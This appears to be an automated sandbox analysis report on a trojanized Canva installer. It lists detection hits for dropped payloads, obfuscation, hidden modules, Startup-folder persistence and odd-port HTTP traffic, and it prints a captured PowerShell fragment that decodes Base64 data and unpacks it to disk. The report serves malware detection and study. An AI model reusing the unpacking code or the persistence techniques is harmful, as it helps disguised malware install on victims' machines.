Source:	Binary string: wntdll.pdb source: more.com, 0000000A.00000002.2196255608.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, more.com, 0000000A.00000002.2195856917.0000000004CC6000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2440909941.0000000004DCD000.00000004.00000020.00020000.00000000.sdmp, more.com, 0000000F.00000002.2441286289.00000000052A0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($encodedData);[System.IO.File]::WriteAllBytes($archiveFile, $decodedBytes);New-Item -ItemType Directory -Path $installPath;Expand-Archive -Path $archiveFile -DestinationPath $installP

PE file contains sections with non-standard names

Source: 9VbeqQbgU4.exe	Static PE information: section name: .didata
Source: 9VbeqQbgU4.tmp.0.dr	Static PE information: section name: .didata
Source: is-U9DO2.tmp.2.dr	Static PE information: section name: .gxfg
Source: is-U9DO2.tmp.2.dr	Static PE information: section name: .retplne
Source: is-U9DO2.tmp.2.dr	Static PE information: section name: _RDATA
Source: is-UK1KN.tmp.2.dr	Static PE information: section name: .gxfg
Source: is-UK1KN.tmp.2.dr	Static PE information: section name: .retplne
Source: is-UK1KN.tmp.2.dr	Static PE information: section name: _RDATA
Source: is-UNVOH.tmp.2.dr	Static PE information: section name: .gxfg
Source: is-UNVOH.tmp.2.dr	Static PE information: section name: .retplne
Source: is-UNVOH.tmp.2.dr	Static PE information: section name: _RDATA
Source: is-SR6MP.tmp.2.dr	Static PE information: section name: .didata
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: .gxfg
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: .retplne
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: .rodata
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: CPADinfo
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: LZMADEC
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: _RDATA
Source: is-N7DP5.tmp.2.dr	Static PE information: section name: malloc_h
Source: is-EHJBJ.tmp.2.dr	Static PE information: section name: .gxfg
Source: is-EHJBJ.tmp.2.dr	Static PE information: section name: .retplne
Source: is-EHJBJ.tmp.2.dr	Static PE information: section name: _RDATA
Source: is-ON0A3.tmp.2.dr	Static PE information: section name: .gxfg
Source: is-ON0A3.tmp.2.dr	Static PE information: section name: .retplne
Source: is-ON0A3.tmp.2.dr	Static PE information: section name: _RDATA
Source: dobi.exe.4.dr	Static PE information: section name: .didata
Source: BIT3445.tmp.12.dr	Static PE information: section name: .didata

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07A53231 pushad ; retf	4_2_07A5323D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07A5AB5B pushad ; retf	4_2_07A5AB61
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF4D10 push eax; iretd	4_2_07CF509E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF1E9D push ds; iretd	4_2_07CF1E9E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF0E4C push cs; iretd	4_2_07CF0E4E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF0608 push es; iretd	4_2_07CF06EE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF55D8 push edi; iretd	4_2_07CF5726
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF9CAC pushfd ; iretd	4_2_07CF9CB6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_07CF51B0 push ebx; iretd	4_2_07CF53FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_00E9EC5D push eax; iretd	13_2_00E9EC5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06932429 push esp; ret	13_2_06932431
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AAB0FA push es; ret	13_2_06AAB100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AA6EE8 push es; iretd	13_2_06AA6EF4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06AA0B30 push es; ret	13_2_06AA0B40
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_000000A1F45CE910 pushad ; retf	14_2_000000A1F45CE911
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_00000274BA82B8C7 push ebx; iretd	14_2_00000274BA82B8CC
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_00000274BA8258E0 push eax; iretd	14_2_00000274BA8258E1
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Code function: 14_2_00000274BA8258E8 pushad ; iretd	14_2_00000274BA8258E9

Source: ggejkdxocdbcf.10.dr	Static PE information: section name: .text entropy: 6.816467095523557
Source: mebamtoyxy.15.dr	Static PE information: section name: .text entropy: 6.816467095523557

Persistence and Installation Behavior

Drops PE files

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	File created: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-UK1KN.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\vk_swiftshader.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\vulkan-1.dll (copy)	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\mebamtoyxy	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-SR6MP.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-B2DEV.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\libEGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\resources\is-NK1KE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\resources\elevate.exe (copy)	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Roaming\sto\BIT3445.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-PO2CC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-N7DP5.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\Canva.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\ffmpeg.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-U9DO2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-EHJBJ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-UNVOH.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Roaming\sto\coml.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\is-ON0A3.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Users\user\AppData\Local\Temp\is-6VQJV.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\Program Files (x86)\Canva\libGLESv2.dll (copy)	Jump to dropped file

Drops files with a non-matching file extension (content does not match file extension)

Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\ggejkdxocdbcf			Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\mebamtoyxy			Jump to dropped file

Boot Survival

Creates a start menu entry (Start Menu\Programs\Startup)

Source: C:\Windows\System32\svchost.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3EC5.tmp

Jump to behavior

Stores files to the Windows start menu directory

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canva	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	File created: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Canva\Canva.lnk	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3EC5.tmp	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\GGEJKDXOCDBCF
Source: C:\Windows\SysWOW64\more.com	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\MEBAMTOYXY

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 9000 -> 49896

Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\9VbeqQbgU4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
